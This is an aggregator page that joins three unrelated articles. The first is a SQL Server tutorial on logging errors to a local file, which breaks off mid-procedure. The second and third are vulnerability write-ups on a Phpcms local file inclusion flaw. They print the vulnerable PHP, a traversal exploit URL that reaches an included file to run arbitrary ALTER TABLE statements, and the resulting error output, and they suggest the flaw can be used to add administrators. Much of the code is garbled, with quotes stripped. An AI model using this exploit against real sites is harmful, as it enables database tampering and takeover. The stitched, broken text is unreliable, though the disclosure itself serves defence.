如何将sql执行的错误消息记录到本地文件中

时间:2022年12月18日

/

来源:社会碳水咒语

/

编辑:本站小编

收藏本文

下载本文

下面是小编为大家推荐的如何将sql执行的错误消息记录到本地文件中,本文共3篇,欢迎阅读,希望大家能够喜欢。本文原稿由网友“社会碳水咒语”提供。

篇1:如何将sql执行的错误消息记录到本地文件中

其实大家都知道sql语句的错误信息都可以在sys.messages表里面找到

如:

如果在执行语句在try...catch中 我们可以通过以下方法获取错误信息,sql语句如下:

BEGIN TRY

SELECT 3 / 0

END TRY

BEGIN CATCH

DECLARE @errornumber INT

DECLARE @errorseverity INT

DECLARE @errorstate INT

DECLARE @errormessage NVARCHAR(4000)

SELECT @errornumber = ERROR_NUMBER ,

@errorseverity = ERROR_SEVERITY() ,

@errorstate = ERROR_STATE() ,

@errormessage = ERROR_MESSAGE()

SELECT @errornumber ,

@errorseverity ,

@errorstate ,

@errormessage

RAISERROR (

@errormessage, -- Message text,

@errorseverity, -- Severity,

@errorstate, -- State,

@errornumber

);

END CATCH

当然我这里是故意用RAISERROR再次抛出错误信息,运行结果如下:

现在我们来定义一个存储过程,其目的就是往本地文件中写入信息,

sql脚本如下:

CREATE Proc [dbo].[UCreateOrAppendTextFile](@Filename VarChar(100),@Text nVarchar(4000))

AS

DECLARE @FileSystem int

篇2:Phpcms本地文件包含漏洞及利用:任意SQL语句执行

最近一直做马后炮了,于是被人鄙视;但没办法,做出头鸟也被人嘲笑!反正这些玩意丢我这里也没啥用,只会烂在硬盘里!于是,只要有点风吹草动,我就公布吧,乌云的文章在此:www.wooyun.org/bug.php?action=view&id=497,文章暂时还没有公布详情...于是...我说一下。

Phpcms2008之前已经暴过很多问题了,但这个本地包含一直无人提起,小明曾经在t00ls里核心版块说过,但其实这个本地包含即使不通过旁注也是有办法利用的,那就是增加管理员或者修改管理员密码!

好了,先说本地包含,有几处,我不知道乌云上说的是哪一处,于是我就当其说的是最明显的那处吧。很明显的漏洞,不知道为啥还在phpcms中出现,先看代码:

文件在wap/index.php

include../include/common.inc.php;

include./include/global.func.php;

$lang= include./include/lang.inc.php;

if(preg_match(/(mozilla|m3gate|winwap|openwave)/i,$_SERVER[HTTP_USER_AGENT]))

{

header(location:../);//判断,调试时先注释掉,from www.oldjun.com

}

wmlHeader($PHPCMS[sitename]);//判断,调试时先注释掉,from www.oldjun.com

$action= isset($action) && !empty($action) ?$action:index;//直接把action带进来了,from www.oldjun.com

if($action)

{

include./include/.$action..inc.php;//本地包含,from www.oldjun.com

}

$html=CHARSET!=utf-8?iconv(CHARSET,utf-8,$html) :$html;

echostr_replace(

,“

”,$html);

wmlFooter();

?>

去掉几处判断条件就可以调试了,action没有进行限制与过滤,然后悲剧的全局:

if($_REQUEST)

{

if(MAGIC_QUOTES_GPC)

{

$_REQUEST = new_stripslashes($_REQUEST);

if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);

extract($db->escape($_REQUEST), EXTR_SKIP);

}

else

{

$_POST = $db->escape($_POST);

$_GET = $db->escape($_GET);

$_COOKIE = $db->escape($_COOKIE);

@extract($_POST,EXTR_SKIP);

@extract($_GET,EXTR_SKIP);

@extract($_COOKIE,EXTR_SKIP);

}

if(!defined(IN_ADMIN)) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);

if($_COOKIE) $db->escape($_COOKIE);

}

于是可以成功本地包含,剩下来的就是这个本地包含怎么利用的问题了,

包含的文件限制为*.inc.php,phpcms的开发者非常喜欢用这个命名规则,于是好多好多文件都是说明什么.inc.php,随便包含一个有利用价值的即可,随便找找:

formguide/admin/include/fields/datetime/field_add.inc.php

if($dateformat==date)

{

$sql=“ALTER TABLE `$tablename` ADD `$field` DATE NOT NULL DEFAULT 0000-00-00”;

}

elseif($dateformat==datetime)

{

$sql=“ALTER TABLE `$tablename` ADD `$field` DATETIME NOT NULL DEFAULT 0000-00-00 00:00:00”;

}

elseif($dateformat==int)

{

if($format)

$sql=“ALTER TABLE `$tablename`

篇3:phpcms本地文件包括及利用(执行任意SQL脚本)和修复

文件wap/index.php

include '../include/common.inc.php';

include './include/global.func.php';

$lang = include './include/lang.inc.php';

if(preg_match('/(mozillam3gatewinwapopenwave)/i', $_SERVER['HTTP_USER_AGENT']))

{

header('location:../');

}

wmlHeader($PHPCMS['sitename']);

$action = isset($action) && !empty($action) ? $action : 'index';

if($action)

{

include './include/'.$action.'.inc.php';

}

$html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) : $html;

echo str_replace('

', ”

\\n“, $html);

wmlFooter();

?>

action 变量没有判断,造成本地文件包含漏洞,

利用(其中之一):

包含目录include\\fields\\areaid 下任一文件,即可执行任意SQL脚本,

如:field_add.inc.php

if(!$maxlength) $maxlength = 255;

$maxlength = min($maxlength, 255);

$sql = ”ALTER TABLE `$tablename` ADD `$field` VARCHAR( $maxlength ) NOT NULL DEFAULT '$defaultvalue'“;

$db->query($sql);

?>

tablename 等变量可以直接传入。 当然,这个访问需要用Opera等浏览器访问。

用Opera浏览器访问

www.phpcms.cn/wap/index.php?action=../../include/fields/areaid/field_add&tablename=xx

6:

7:

8:

9:MySQL Query :ALTER TABLE `xx` ADD `` VARCHAR( 255 ) NOT NULL DEFAULT ''

MySQL Error :Table 'phpcms.xx' doesn't exist

MySQL Errno :1146

Message :MySQL Query Error

修复方案:

action 变量判断

Phpcms本地文件包含漏洞及利用:任意SQL语句执行

phpcms本地文件包括及利用(执行任意SQL脚本)和修复

下载如何将sql执行的错误消息记录到本地文件中(推荐3篇)
如何将sql执行的错误消息记录到本地文件中.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
最新范文更多
    热门文章
      猜你喜欢
      点击下载本文文档